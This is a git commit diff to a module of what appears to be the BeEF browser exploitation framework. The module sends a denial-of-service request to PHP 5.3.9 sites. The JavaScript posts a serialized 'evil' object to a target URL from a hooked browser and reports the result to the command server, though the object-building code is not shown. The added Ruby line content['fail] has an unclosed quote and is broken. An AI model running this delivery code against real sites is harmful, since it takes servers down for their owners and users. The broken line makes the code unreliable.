minor syntax changes to php-5.3.9-dos module

This commit is contained in:
bcoles
2013-05-26 02:48:04 +09:30
parent 7aaafc79aa
commit 704b979054
2 changed files with 6 additions and 5 deletions

View File

@@ -32,7 +32,7 @@ function serializeObj (obj) {
}
// Run attack
function attackSite (target_url) {
function php_dos (target_url) {
var bad = serializeObj(createEvilObj());
var xhr = new XMLHttpRequest();
xhr.open("POST", target_url, true);
@@ -42,10 +42,10 @@ function attackSite (target_url) {
}
try {
attackSite("<%= @url %>");
beef.net.send('<%= @command_url %>', <%= @command_id %>, "result=request sent");
php_dos("<%= @url %>");
beef.net.send('<%= @command_url %>', <%= @command_id %>, "result=DoS request sent");
} catch (e) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, "result=request failed&error="+e.toString());
beef.net.send('<%= @command_url %>', <%= @command_id %>, "fail=request failed with error: "+e.toString());
}
});

View File

@@ -13,7 +13,8 @@ class Php_dos < BeEF::Core::Command
def post_execute
content = {}
content['result'] = @datastore['result']
content['result'] = @datastore['result'] if not @datastore['result'].nil?
content['fail] = @datastore['fail'] if not @datastore['fail'].nil?
save content
end